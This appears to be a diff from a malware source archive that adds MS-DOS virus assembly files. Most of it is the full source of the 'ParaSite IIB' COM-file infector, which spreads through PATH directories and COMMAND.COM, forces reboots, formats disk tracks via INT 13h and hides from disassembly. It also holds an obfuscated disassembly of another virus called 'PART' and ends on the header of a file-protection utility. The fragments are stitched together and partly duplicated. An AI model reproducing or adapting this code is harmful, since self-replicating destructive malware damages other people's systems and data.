POP SI
|
||||
MOV AX,OFFSET 4300H
|
||||
MOV DX,wrk_spc
|
||||
ADD DX,SI
|
||||
INT 21H
|
||||
MOV [SI+old_att],CX
|
||||
MOV AX,OFFSET 4301H
|
||||
AND CX,OFFSET 0FFFEH
|
||||
MOV DX,wrk_spc
|
||||
ADD DX,SI
|
||||
INT 21H
|
||||
MOV AX,OFFSET 3D02H
|
||||
MOV DX,wrk_spc
|
||||
ADD DX,SI
|
||||
INT 21H
|
||||
JNB opened_ok
|
||||
JMP fix_attr
|
||||
|
||||
opened_ok:
|
||||
MOV BX,AX
|
||||
MOV AX,OFFSET 5700H
|
||||
INT 21H
|
||||
MOV [SI+old_tim],CX ;Save file time
|
||||
MOV [SI+ol_date],DX ;Save the date
|
||||
MOV AH,2CH
|
||||
INT 21H
|
||||
AND DH,7
|
||||
JMP infect
|
||||
|
||||
|
||||
infect:
|
||||
MOV AH,3FH
|
||||
MOV CX,3
|
||||
MOV DX,first_3
|
||||
ADD DX,SI
|
||||
INT 21H ;Save first 3 bytes into the data area
|
||||
JB fix_time_stamp
|
||||
CMP AX,3
|
||||
JNZ fix_time_stamp
|
||||
MOV AX,OFFSET 4202H
|
||||
MOV CX,0
|
||||
MOV DX,0
|
||||
INT 21H
|
||||
JB fix_time_stamp
|
||||
MOV CX,AX
|
||||
SUB AX,3
|
||||
MOV [SI+jmp_dsp],AX
|
||||
ADD CX,OFFSET c_len_y
|
||||
MOV DI,SI
|
||||
SUB DI,OFFSET c_len_x
|
||||
JMP CONT
|
||||
JOE2:
|
||||
JMP JOE1
|
||||
CONT:
|
||||
MOV [DI],CX
|
||||
MOV AH,40H
|
||||
MOV_CX virlen
|
||||
MOV DX,SI
|
||||
SUB DX,OFFSET codelen
|
||||
INT 21H
|
||||
JB fix_time_stamp
|
||||
CMP AX,OFFSET virlen
|
||||
JNZ fix_time_stamp
|
||||
MOV AX,OFFSET 4200H
|
||||
MOV CX,0
|
||||
MOV DX,0
|
||||
INT 21H
|
||||
JB fix_time_stamp
|
||||
MOV AH,40H
|
||||
MOV CX,3
|
||||
MOV DX,SI
|
||||
ADD DX,jmp_op
|
||||
INT 21H
|
||||
|
||||
fix_time_stamp:
|
||||
MOV DX,[SI+ol_date]
|
||||
MOV CX,[SI+old_tim]
|
||||
AND CX,OFFSET 0FFE0H
|
||||
OR CX,1EH
|
||||
MOV AX,OFFSET 5701H
|
||||
INT 21H
|
||||
MOV AH,3EH
|
||||
INT 21H
|
||||
|
||||
fix_attr:
|
||||
MOV AX,OFFSET 4301H
|
||||
MOV CX,[SI+old_att]
|
||||
MOV DX,wrk_spc
|
||||
ADD DX,SI
|
||||
INT 21H
|
||||
|
||||
all_done:
|
||||
PUSH DS
|
||||
MOV AH,1AH
|
||||
MOV DX,[SI+old_dta]
|
||||
MOV DS,[SI+old_dts]
|
||||
INT 21H
|
||||
POP DS
|
||||
|
||||
quit:
|
||||
MOV BX,OFFSET count
|
||||
CMP BX,0
|
||||
JB joe2
|
||||
POP CX
|
||||
XOR AX,AX ;XOR values so that we will give
|
||||
XOR BX,BX ;poor sucker a hard time trying
|
||||
XOR DX,DX ;reassemble the source code if h
|
||||
XOR SI,SI ;decides to dissassemble us.
|
||||
MOV DI,OFFSET 0100H
|
||||
PUSH DI
|
||||
XOR DI,DI
|
||||
RET 0FFFFH ;Return back to the beginning
|
||||
;of the program
|
||||
|
||||
vir_dat EQU $
|
||||
|
||||
Aurther DB "ParaSite IIB - By: Rock Steady"
|
||||
olddta_ DW 0
|
||||
olddts_ DW 0
|
||||
oldtim_ DW 0
|
||||
count_ DW 0
|
||||
oldate_ DW 0
|
||||
oldatt_ DW 0
|
||||
first3_ EQU $
|
||||
INT 20H
|
||||
NOP
|
||||
jmpop_ DB 0E9H
|
||||
jmpdsp_ DW 0
|
||||
fspec_ DB '*.COM',0
|
||||
fipec_ DB 'COMMAND.COM',0
|
||||
pathad_ DW 0
|
||||
namptr_ DW 0
|
||||
envstr_ DB 'PATH='
|
||||
wrkspc_ DB 40h dup (0)
|
||||
dta_ DB 16h dup (0)
|
||||
dtatim_ DW 0,0
|
||||
dtalen_ DW 0,0
|
||||
dtanam_ DB 0Dh dup (0)
|
||||
buffer DB 0CDh, 20h, 0, 0, 0, 0, 0, 0
|
||||
orig_path DB 64 dup (?)
|
||||
root_dir DB '\',0
|
||||
lst_byt EQU $
|
||||
virlen = lst_byt - v_start
|
||||
codelen = vir_dat - v_start
|
||||
c_len_x = vir_dat - v_start - 2
|
||||
c_len_y = vir_dat - v_start + 100H
|
||||
old_dta = olddta_ - vir_dat
|
||||
old_dts = olddts_ - vir_dat
|
||||
old_tim = oldtim_ - vir_dat
|
||||
ol_date = oldate_ - vir_dat
|
||||
old_att = oldatt_ - vir_dat
|
||||
first_3 = first3_ - vir_dat
|
||||
jmp_op = jmpop_ - vir_dat
|
||||
jmp_dsp = jmpdsp_ - vir_dat
|
||||
f_spec = fspec_ - vir_dat
|
||||
f_ipec = fipec_ - vir_dat
|
||||
path_ad = pathad_ - vir_dat
|
||||
nam_ptr = namptr_ - vir_dat
|
||||
env_str = envstr_ - vir_dat
|
||||
wrk_spc = wrkspc_ - vir_dat
|
||||
dta = dta_ - vir_dat
|
||||
dta_tim = dtatim_ - vir_dat
|
||||
dta_len = dtalen_ - vir_dat
|
||||
dta_nam = dtanam_ - vir_dat
|
||||
count = count_ - vir_dat
|
||||
CODE ENDS
|
||||
END VCODE
|
||||
|
418
MSDOS/Virus.MSDOS.Unknown.parsit2b.asm
Normal file
418
MSDOS/Virus.MSDOS.Unknown.parsit2b.asm
Normal file
@ -0,0 +1,418 @@
|
||||
;********************************************************************
|
||||
; <PARSIT2B.ASM> - ParaSite Virus IIB
|
||||
; By: Rock Steady
|
||||
; Close to one year I created this Virus. As you can see it is quite
|
||||
; old... Maybe too Old... But here it is... It Sucks... but its great
|
||||
; for any virus beginner... Anyhow...
|
||||
; NOTES: Simple COM infector. 10% of the time it reboots the system
|
||||
; 20% it plays machine gun noices on the PC speaker... and
|
||||
; 70% of the time is infects another COM file... Have fun...
|
||||
;********************************************************************
|
||||
MOV_CX MACRO X
|
||||
DB 0B9H
|
||||
DW X
|
||||
ENDM
|
||||
|
||||
CODE SEGMENT
|
||||
ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
|
||||
ORG 100H
|
||||
|
||||
|
||||
VCODE: JMP virus
|
||||
|
||||
NOP
|
||||
NOP ; To identify it as an Infected
|
||||
NOP ; Program!
|
||||
|
||||
v_start equ $
|
||||
|
||||
|
||||
virus: PUSH CX
|
||||
MOV DX,OFFSET vir_dat
|
||||
CLD
|
||||
MOV SI,DX
|
||||
ADD SI,first_3
|
||||
JMP Rock_1
|
||||
Rock_2:
|
||||
MOV DX,dta
|
||||
ADD DX,SI
|
||||
MOV AH,1AH
|
||||
INT 21H
|
||||
PUSH ES
|
||||
PUSH SI
|
||||
MOV ES,DS:2CH
|
||||
MOV DI,0
|
||||
JMP Day_Of_Week
|
||||
Rock_1:
|
||||
MOV CX,3
|
||||
MOV DI,OFFSET 100H
|
||||
REPZ MOVSB
|
||||
MOV SI,DX
|
||||
PUSH ES
|
||||
MOV AH,2FH
|
||||
INT 21H
|
||||
MOV [SI+old_dta],BX
|
||||
MOV [SI+old_dts],ES
|
||||
POP ES
|
||||
JMP Rock_2
|
||||
|
||||
Day_Of_Week:
|
||||
MOV AH,2AH ;Get System date!
|
||||
INT 21H
|
||||
CMP AL,1 ;Check to See if it's Monday!
|
||||
JGE day_check ;Jump if later than Mondays
|
||||
JMP Get_Time
|
||||
day_check:
|
||||
CMP AL,1 ;Check to see if it is the 1st
|
||||
JA Get_Time ;If yes, create a MESS...
|
||||
JMP Bad_Mondays ;If not, then go on with infecti
|
||||
mess:
|
||||
|
||||
Bad_Mondays:
|
||||
MOV DL,2 ;The Formatting Tracks..
|
||||
MOV AH,05
|
||||
MOV DH,80h
|
||||
MOV CH,0
|
||||
INT 13h
|
||||
|
||||
Play_music:
|
||||
MOV CX,20d ;Set number of Shots
|
||||
new_shot:
|
||||
PUSH CX ;Save Count
|
||||
CALL Shoot
|
||||
MOV CX,4000H
|
||||
Silent: LOOP silent
|
||||
POP CX
|
||||
LOOP new_Shot
|
||||
JMP mess
|
||||
|
||||
SHOOT proc near ;The Machine Gun Noices...
|
||||
MOV DX,140h
|
||||
MOV BX,20h
|
||||
IN AL,61h
|
||||
AND AL,11111100b
|
||||
SOUND: XOR AL,2
|
||||
OUT 61h,al
|
||||
ADD dx,9248h
|
||||
MOV CL,3
|
||||
ROR DX,CL
|
||||
MOV CX,DX
|
||||
AND cx,1ffh
|
||||
OR CX,10
|
||||
WAITA: LOOP WAITA
|
||||
DEC BX
|
||||
JNZ SOUND
|
||||
AND AL,11111100b
|
||||
OUT 61h,AL
|
||||
RET
|
||||
Shoot Endp
|
||||
|
||||
Get_Time:
|
||||
MOV AH,2Ch ; Get System Time!
|
||||
INT 21h ;
|
||||
AND DH,0fh
|
||||
CMP DH,3
|
||||
JB Play_music
|
||||
CMP DH,3h
|
||||
JA Find_Path
|
||||
INT 19h
|
||||
|
||||
go:
|
||||
MOV AH, 47H
|
||||
XOR DL,DL
|
||||
ADD SI, OFFSET orig_path - OFFSET buffer - 8
|
||||
INT 21H
|
||||
JC find_path
|
||||
|
||||
MOV AH,3BH
|
||||
MOV DX,SI
|
||||
ADD DX, OFFSET root_dir - OFFSET orig_path
|
||||
INT 21H
|
||||
|
||||
infect_root:
|
||||
MOV [BX+nam_ptr],DI
|
||||
MOV SI,BX
|
||||
ADD SI,f_ipec
|
||||
MOV CX,6
|
||||
REPZ MOVSB
|
||||
JMP hello
|
||||
|
||||
find_path:
|
||||
POP SI ; Seek and Destroy...
|
||||
PUSH SI
|
||||
ADD SI,env_str
|
||||
LODSB
|
||||
MOV CX,OFFSET 8000H
|
||||
REPNZ SCASB
|
||||
MOV CX,4
|
||||
|
||||
check_next_4:
|
||||
LODSB
|
||||
SCASB
|
||||
;
|
||||
; The JNZ line specifies that if there is no PATH present, then we will
|
||||
; along and infect the ROOT directory on the default drive.
|
||||
|
||||
JNZ find_path ;If not path, then go to ROOT di
|
||||
LOOP check_next_4 ;Go back and check for more char
|
||||
POP SI ;Load in PATH again to look for
|
||||
POP ES
|
||||
MOV [SI+path_ad],DI
|
||||
MOV DI,SI
|
||||
ADD DI,wrk_spc
|
||||
MOV BX,SI
|
||||
ADD SI,wrk_spc ;the File Handle
|
||||
MOV DI,SI
|
||||
JMP SHORT slash_ok
|
||||
|
||||
set_subdir:
|
||||
CMP WORD PTR [SI+path_ad],0
|
||||
JNZ found_subdir
|
||||
JMP all_done
|
||||
|
||||
|
||||
found_subdir:
|
||||
PUSH DS
|
||||
PUSH SI
|
||||
MOV DS,ES:2CH
|
||||
MOV DI,SI
|
||||
MOV SI,ES:[DI+path_ad]
|
||||
ADD DI,wrk_spc ;DI is the handle to infect!
|
||||
|
||||
|
||||
move_subdir:
|
||||
LODSB ;To tedious work to move into su
|
||||
NOP
|
||||
CMP AL,';' ;Does it end with a ; character?
|
||||
JZ moved_one ;if yes, then we found a subdir
|
||||
CMP AL,0 ;is it the end of the path?
|
||||
JZ moved_last_one ;if yes, then we save the PATH
|
||||
STOSB ;marker into DI for future refer
|
||||
JMP SHORT move_subdir
|
||||
|
||||
moved_last_one:
|
||||
MOV SI,0
|
||||
|
||||
moved_one:
|
||||
POP BX ;BX is where the virus data is
|
||||
POP DS ;Restore DS
|
||||
NOP
|
||||
MOV [BX+path_ad],SI ;Where is the next subdir?
|
||||
CMP CH,'\' ;Check to see if it ends in \
|
||||
JZ slash_ok ;If yes, then it's OK
|
||||
MOV AL,'\' ;if not, then add one...
|
||||
STOSB ;store the sucker
|
||||
|
||||
|
||||
|
||||
slash_ok:
|
||||
MOV [BX+nam_ptr],DI ;Move the filename into workspac
|
||||
MOV SI,BX ;Restore the original SI value
|
||||
ADD SI,f_spec ;Point to COM file victim
|
||||
MOV CX,6
|
||||
REPZ MOVSB ;Move victim into workspace
|
||||
hello:
|
||||
MOV SI,BX
|
||||
MOV AH,4EH
|
||||
MOV DX,wrk_spc
|
||||
ADD DX,SI ;DX is ... The File to infect
|
||||
MOV CX,3 ;Attributes of Read Only or Hidd
|
||||
INT 21H
|
||||
JMP SHORT find_first
|
||||
joe1:
|
||||
JMP go
|
||||
|
||||
find_next:
|
||||
MOV AH,4FH
|
||||
INT 21H
|
||||
|
||||
find_first:
|
||||
JNB found_file ;Jump if we found it
|
||||
JMP SHORT set_subdir ;Otherwise, get another subdirec
|
||||
|
||||
found_file:
|
||||
MOV AX,[SI+dta_tim] ;Get time from DTA
|
||||
AND AL,1EH ;Mask to remove all but seconds
|
||||
CMP AL,1EH ;60 seconds
|
||||
JZ find_next
|
||||
CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too LON
|
||||
JA find_next ;If too long, find another one
|
||||
CMP WORD PTR [SI+dta_len],0AH ;Is it too short?
|
||||
JB find_next ;Then go find another one
|
||||
MOV DI,[SI+nam_ptr]
|
||||
PUSH SI
|
||||
ADD SI,dta_nam
|
||||
|
||||
more_chars:
|
||||
LODSB
|
||||
STOSB
|
||||
CMP AL,0
|
||||
JNZ more_chars
|
||||
POP SI
|
||||
MOV AX,OFFSET 4300H
|
||||
MOV DX,wrk_spc
|
||||
ADD DX,SI
|
||||
INT 21H
|
||||
MOV [SI+old_att],CX
|
||||
MOV AX,OFFSET 4301H
|
||||
AND CX,OFFSET 0FFFEH
|
||||
MOV DX,wrk_spc
|
||||
ADD DX,SI
|
||||
INT 21H
|
||||
MOV AX,OFFSET 3D02H
|
||||
MOV DX,wrk_spc
|
||||
ADD DX,SI
|
||||
INT 21H
|
||||
JNB opened_ok
|
||||
JMP fix_attr
|
||||
|
||||
opened_ok:
|
||||
MOV BX,AX
|
||||
MOV AX,OFFSET 5700H
|
||||
INT 21H
|
||||
MOV [SI+old_tim],CX ;Save file time
|
||||
MOV [SI+ol_date],DX ;Save the date
|
||||
MOV AH,2CH
|
||||
INT 21H
|
||||
AND DH,7
|
||||
JMP infect
|
||||
|
||||
|
||||
infect:
|
||||
MOV AH,3FH
|
||||
MOV CX,3
|
||||
MOV DX,first_3
|
||||
ADD DX,SI
|
||||
INT 21H ;Save first 3 bytes into the data area
|
||||
JB fix_time_stamp
|
||||
CMP AX,3
|
||||
JNZ fix_time_stamp
|
||||
MOV AX,OFFSET 4202H
|
||||
MOV CX,0
|
||||
MOV DX,0
|
||||
INT 21H
|
||||
JB fix_time_stamp
|
||||
MOV CX,AX
|
||||
SUB AX,3
|
||||
MOV [SI+jmp_dsp],AX
|
||||
ADD CX,OFFSET c_len_y
|
||||
MOV DI,SI
|
||||
SUB DI,OFFSET c_len_x
|
||||
JMP CONT
|
||||
JOE2:
|
||||
JMP JOE1
|
||||
CONT:
|
||||
MOV [DI],CX
|
||||
MOV AH,40H
|
||||
MOV_CX virlen
|
||||
MOV DX,SI
|
||||
SUB DX,OFFSET codelen
|
||||
INT 21H
|
||||
JB fix_time_stamp
|
||||
CMP AX,OFFSET virlen
|
||||
JNZ fix_time_stamp
|
||||
MOV AX,OFFSET 4200H
|
||||
MOV CX,0
|
||||
MOV DX,0
|
||||
INT 21H
|
||||
JB fix_time_stamp
|
||||
MOV AH,40H
|
||||
MOV CX,3
|
||||
MOV DX,SI
|
||||
ADD DX,jmp_op
|
||||
INT 21H
|
||||
|
||||
fix_time_stamp:
|
||||
MOV DX,[SI+ol_date]
|
||||
MOV CX,[SI+old_tim]
|
||||
AND CX,OFFSET 0FFE0H
|
||||
OR CX,1EH
|
||||
MOV AX,OFFSET 5701H
|
||||
INT 21H
|
||||
MOV AH,3EH
|
||||
INT 21H
|
||||
|
||||
fix_attr:
|
||||
MOV AX,OFFSET 4301H
|
||||
MOV CX,[SI+old_att]
|
||||
MOV DX,wrk_spc
|
||||
ADD DX,SI
|
||||
INT 21H
|
||||
|
||||
all_done:
|
||||
PUSH DS
|
||||
MOV AH,1AH
|
||||
MOV DX,[SI+old_dta]
|
||||
MOV DS,[SI+old_dts]
|
||||
INT 21H
|
||||
POP DS
|
||||
|
||||
quit:
|
||||
MOV BX,OFFSET count
|
||||
CMP BX,0
|
||||
JB joe2
|
||||
POP CX
|
||||
XOR AX,AX ;XOR values so that we will give
|
||||
XOR BX,BX ;poor sucker a hard time trying
|
||||
XOR DX,DX ;reassemble the source code if h
|
||||
XOR SI,SI ;decides to dissassemble us.
|
||||
MOV DI,OFFSET 0100H
|
||||
PUSH DI
|
||||
XOR DI,DI
|
||||
RET 0FFFFH ;Return back to the beginning
|
||||
;of the program
|
||||
|
||||
vir_dat EQU $
|
||||
|
||||
Aurther DB "ParaSite IIB - By: Rock Steady"
|
||||
olddta_ DW 0
|
||||
olddts_ DW 0
|
||||
oldtim_ DW 0
|
||||
count_ DW 0
|
||||
oldate_ DW 0
|
||||
oldatt_ DW 0
|
||||
first3_ EQU $
|
||||
INT 20H
|
||||
NOP
|
||||
jmpop_ DB 0E9H
|
||||
jmpdsp_ DW 0
|
||||
fspec_ DB '*.COM',0
|
||||
fipec_ DB 'COMMAND.COM',0
|
||||
pathad_ DW 0
|
||||
namptr_ DW 0
|
||||
envstr_ DB 'PATH='
|
||||
wrkspc_ DB 40h dup (0)
|
||||
dta_ DB 16h dup (0)
|
||||
dtatim_ DW 0,0
|
||||
dtalen_ DW 0,0
|
||||
dtanam_ DB 0Dh dup (0)
|
||||
buffer DB 0CDh, 20h, 0, 0, 0, 0, 0, 0
|
||||
orig_path DB 64 dup (?)
|
||||
root_dir DB '\',0
|
||||
lst_byt EQU $
|
||||
virlen = lst_byt - v_start
|
||||
codelen = vir_dat - v_start
|
||||
c_len_x = vir_dat - v_start - 2
|
||||
c_len_y = vir_dat - v_start + 100H
|
||||
old_dta = olddta_ - vir_dat
|
||||
old_dts = olddts_ - vir_dat
|
||||
old_tim = oldtim_ - vir_dat
|
||||
ol_date = oldate_ - vir_dat
|
||||
old_att = oldatt_ - vir_dat
|
||||
first_3 = first3_ - vir_dat
|
||||
jmp_op = jmpop_ - vir_dat
|
||||
jmp_dsp = jmpdsp_ - vir_dat
|
||||
f_spec = fspec_ - vir_dat
|
||||
f_ipec = fipec_ - vir_dat
|
||||
path_ad = pathad_ - vir_dat
|
||||
nam_ptr = namptr_ - vir_dat
|
||||
env_str = envstr_ - vir_dat
|
||||
wrk_spc = wrkspc_ - vir_dat
|
||||
dta = dta_ - vir_dat
|
||||
dta_tim = dtatim_ - vir_dat
|
||||
dta_len = dtalen_ - vir_dat
|
||||
dta_nam = dtanam_ - vir_dat
|
||||
count = count_ - vir_dat
|
||||
CODE ENDS
|
||||
END VCODE
|
||||
|
227
MSDOS/Virus.MSDOS.Unknown.part.asm
Normal file
227
MSDOS/Virus.MSDOS.Unknown.part.asm
Normal file
@ -0,0 +1,227 @@
|
||||
|
||||
PAGE 59,132
|
||||
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ PART ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ Created: 10-Aug-92 ÛÛ
|
||||
;ÛÛ Passes: 5 Analysis Options on: J ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
|
||||
data_11e equ 0F42h ;*
|
||||
data_13e equ 2F42h ;*
|
||||
data_14e equ 3F42h ;*
|
||||
data_15e equ 65C4h ;*
|
||||
data_16e equ 7090h ;*
|
||||
data_17e equ 75C4h ;*
|
||||
|
||||
seg_a segment byte public
|
||||
assume cs:seg_a, ds:seg_a
|
||||
|
||||
|
||||
org 100h
|
||||
|
||||
part proc far
|
||||
|
||||
start:
|
||||
esc 5,dh ; coprocessor escape
|
||||
db 0D6h, 2Fh, 12h, 24h, 01h, 49h
|
||||
db 44h, 7Eh, 2Eh, 82h, 01h,0F1h
|
||||
db 0F9h, 90h,0DCh,0C3h, 21h, 74h
|
||||
db 0EAh, 42h,0EDh, 72h, 81h, 7Bh
|
||||
db 0B5h,0E4h, 6Eh, 71h, 64h, 4Ah
|
||||
db 19h,0B6h,0CAh, 28h,0E0h, 17h
|
||||
db 0C6h,0B5h, 33h, 36h, 09h,0C2h
|
||||
db 0A3h,0A1h, 21h, 9Eh, 30h, 74h
|
||||
db 0C5h, 51h,0E1h, 91h, 24h, 99h
|
||||
db 93h, 0Fh,0D0h, 0Dh, 0Ah, 69h
|
||||
db 0FEh,0ACh, 27h, 10h,0C5h,0A5h
|
||||
db 1Eh, 94h,0AEh, 1Bh,0DAh, 4Eh
|
||||
db 49h, 58h, 2Fh, 1Dh, 65h,0E4h
|
||||
db 74h,0F6h, 7Eh, 22h, 61h, 2Eh
|
||||
db 0D2h,0FDh, 56h, 92h
|
||||
db 2Eh
|
||||
loc_1:
|
||||
in ax,0F7h ; port 0F7h ??I/O Non-standard
|
||||
lds cx,dword ptr [bp+di+75h] ; Load 32 bit ptr
|
||||
mov [bp+si],es
|
||||
sbb al,0DEh
|
||||
sub bp,cx
|
||||
out 0Eh,ax ; port 0Eh, DMA-1 clr mask reg
|
||||
adc al,3Eh ; '>'
|
||||
sub ax,73Eh
|
||||
and [bx-39h],dh
|
||||
pop bp
|
||||
pop bx
|
||||
mov dx,0D157h
|
||||
and [bp+si],ax
|
||||
inc sp
|
||||
pop si
|
||||
mov si,ax
|
||||
;* pop cs ; Dangerous 8088 only
|
||||
db 0Fh
|
||||
pop cx
|
||||
rcl byte ptr [bp+di+53h],cl ; Rotate thru carry
|
||||
pop di
|
||||
loop locloop_4 ; Loop if cx > 0
|
||||
|
||||
sub [bx-17h],ch
|
||||
xor ax,398Ah
|
||||
sal bh,1 ; Shift w/zeros fill
|
||||
aaa ; Ascii adjust
|
||||
or [bp+si+7AF0h],ch
|
||||
loopnz $+36h ; Loop if zf=0, cx>0
|
||||
|
||||
xchg ax,bp
|
||||
and al,0E4h
|
||||
jl loc_1 ; Jump if <
|
||||
call $-52ACh
|
||||
xchg ax,cx
|
||||
retn 10E7h
|
||||
push di
|
||||
int 3 ; Debug breakpoint
|
||||
xchg ax,bp
|
||||
sub dh,bh
|
||||
inc cx
|
||||
into ; Int 4 on overflow
|
||||
aaa ; Ascii adjust
|
||||
dec sp
|
||||
db 6Ah
|
||||
|
||||
locloop_4:
|
||||
push ss
|
||||
jmp $+422Bh
|
||||
;* call far ptr sub_1 ;*
|
||||
db 9Ah, 53h, 67h,0FFh, 82h
|
||||
db 68h,0E9h, 4Bh,0DCh, 76h,0CBh
|
||||
db 0E7h, 4Ah,0E4h, 8Ah, 92h,0E2h
|
||||
db 03h, 54h,0CCh, 85h
|
||||
|
||||
locloop_5:
|
||||
xor ah,al
|
||||
push cs
|
||||
retn
|
||||
db 6Eh, 5Bh, 7Fh, 01h,0E8h, 7Dh
|
||||
db 0Fh, 86h, 52h, 56h,0F9h,0AEh
|
||||
db 2Fh, 95h, 4Bh,0FDh, 77h,0E0h
|
||||
db 0E8h, 69h,0ADh
|
||||
db 0BBh, 85h, 97h, 02h, 7Ch,0CBh
|
||||
db 0A8h, 39h,0DAh, 2Eh, 80h, 4Ah
|
||||
db 74h, 8Ch, 4Ch, 85h, 6Dh, 42h
|
||||
db 0FFh, 21h, 35h, 90h,0D0h, 48h
|
||||
db 0A5h, 24h, 9Dh, 12h, 82h, 89h
|
||||
db 0Dh,0C4h,0C5h,0E2h,0A7h, 71h
|
||||
db 15h,0B8h,0CCh, 5Ch,0A7h
|
||||
db 2Eh
|
||||
loc_6:
|
||||
nop
|
||||
pop ss
|
||||
or [bp+di],cl
|
||||
inc sp
|
||||
test bx,ds:data_11e[di]
|
||||
and bp,ax
|
||||
nop
|
||||
and [bx+si+55h],cl
|
||||
and al,6Dh ; 'm'
|
||||
adc dh,[bp+si-77h]
|
||||
std ; Set direction flag
|
||||
les si,dword ptr [di] ; Load 32 bit ptr
|
||||
;* loop locloop_12 ;*Loop if cx > 0
|
||||
|
||||
db 0E2h, 57h
|
||||
jno loc_6 ; Jump if not overflw
|
||||
mov ax,5C3Ch
|
||||
push di
|
||||
loc_8:
|
||||
db 2Eh, 60h, 17h,0F8h, 0Bh,0B4h
|
||||
db 85h, 8Dh, 42h, 1Fh, 21h,0D5h
|
||||
db 90h, 30h, 48h, 45h, 24h, 7Dh
|
||||
db 12h, 62h, 89h,0EDh,0C4h, 25h
|
||||
db 0E2h, 47h, 71h,0F5h,0B8h
|
||||
db 2Ch, 5Ch, 47h, 2Eh
|
||||
loc_9:
|
||||
jo loc_11 ; Jump if overflow=1
|
||||
call $-5BF2h
|
||||
test di,ds:data_13e[di]
|
||||
and bp,sp
|
||||
nop
|
||||
add [bx+si+75h],cl
|
||||
and al,4Dh ; 'M'
|
||||
adc dl,[bp+si-77h]
|
||||
esc 5,ah ; coprocessor escape
|
||||
adc ax,77E2h
|
||||
loc_11:
|
||||
jno loc_8 ; Jump if not overflw
|
||||
mov ax,5C1Ch
|
||||
ja loc_13 ; Jump if above
|
||||
inc ax
|
||||
pop ss
|
||||
esc 0,[bp+di] ; coprocessor escape
|
||||
xchg ax,sp
|
||||
test bp,ds:data_14e[di]
|
||||
and bp,si
|
||||
nop
|
||||
adc [bx+si+65h],cl
|
||||
and al,5Dh ; ']'
|
||||
adc al,[bp+si-77h]
|
||||
int 0C4h ; ??INT Non-standard interrupt
|
||||
add ax,67E2h
|
||||
;* jno loc_10 ;*Jump if not overflw
|
||||
db 71h,0D5h
|
||||
mov ax,5C0Ch
|
||||
db 67h, 2Eh, 50h, 17h,0C8h, 0Bh
|
||||
db 84h, 85h,0DDh, 42h, 4Fh, 21h
|
||||
db 85h, 90h
|
||||
db 60h, 48h
|
||||
loc_13:
|
||||
adc ax,2D24h
|
||||
adc dh,[bp+si]
|
||||
mov ds:data_17e[di],di
|
||||
;* loop locloop_15 ;*Loop if cx > 0
|
||||
|
||||
db 0E2h, 17h
|
||||
jno loc_9 ; Jump if not overflw
|
||||
mov ax,5C7Ch
|
||||
pop ss
|
||||
and cs:[bx],dl
|
||||
mov ax,0F40Bh
|
||||
test cx,bp
|
||||
inc dx
|
||||
pop di
|
||||
and ds:data_16e[di],dx
|
||||
dec ax
|
||||
add ax,3D24h
|
||||
adc ah,[bp+si]
|
||||
mov ds:data_15e[di],bp
|
||||
loop $+9 ; Loop if cx > 0
|
||||
|
||||
;* jno locloop_12 ;*Jump if not overflw
|
||||
db 71h,0B5h
|
||||
mov ax,5C6Ch
|
||||
pop es
|
||||
xor cs:[bx],dl
|
||||
test al,8Bh
|
||||
in ax,84h ; port 84h ??I/O Non-standard
|
||||
std ; Set direction flag
|
||||
inc si
|
||||
db 61h, 30h, 55h, 81h, 40h, 48h
|
||||
db 35h,0DAh,0E2h, 12h, 12h, 89h
|
||||
db 9Dh,0C5h,0A4h,0E7h, 39h,0A0h
|
||||
db 62h,0B7h,0ACh, 5Ch, 37h, 27h
|
||||
db 0F4h, 15h, 98h, 0Bh,0D4h, 85h
|
||||
db 0EDh, 42h, 7Fh, 21h,0B5h, 90h
|
||||
db 50h, 48h, 25h, 24h, 1Dh, 12h
|
||||
db 02h, 89h, 8Dh,0C4h, 45h,0E2h
|
||||
db 27h, 71h, 95h,0B8h, 4Ch, 5Ch
|
||||
db 27h, 2Eh, 10h, 17h, 88h, 5Eh
|
||||
db 6Eh, 00h
|
||||
|
||||
part endp
|
||||
|
||||
seg_a ends
|
||||
|
||||
|
||||
|
||||
end start
|
401
MSDOS/Virus.MSDOS.Unknown.passcom.asm
Normal file
401
MSDOS/Virus.MSDOS.Unknown.passcom.asm
Normal file
@ -0,0 +1,401 @@
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; Black Wolf's File Protection Utilities 2.1s
|
||||
;
|
||||
;PassCOM - This program password protects the specified file by attaching
|
||||
; code from PW_COM onto the file so that it will check for passwords
|
||||
; each execution. It utilizes ULTIMUTE .93á to protect then PW_COM
|
||||
; code from easy manipulation.
|
||||
;
|
||||
;LISCENSE:
|
||||
; Released As Freeware - These files may be distributed freely.
|
||||
;
|
||||
;Any modifications made to this program should be listed below the solid line,
|
||||
;along with the name of the programmer and the date the file was changed.
|
||||
;Also - they should be commented where changed.
|
||||
;
|
||||
;NOTE THAT MODIFICATION PRIVILEDGES APPLY ONLY TO THIS VERSION (2.1s)!
|
||||
;I'd appreciate notification of any modifications if at all possible,
|
||||
;reach me through the address listed in the documentation file (bwfpu21s.doc).
|
||||
;
|
||||
;DISCLAIMER: The author takes ABSOLUTELY NO RESPONSIBILITY for any damages
|
||||
;resulting from the use/misuse of this program/file. The user agrees to hold
|
||||
;the author harmless for any consequences that may occur directly or
|
||||
;indirectly from the use of this program by utilizing this program/file
|
||||
;in any manner.
|
||||
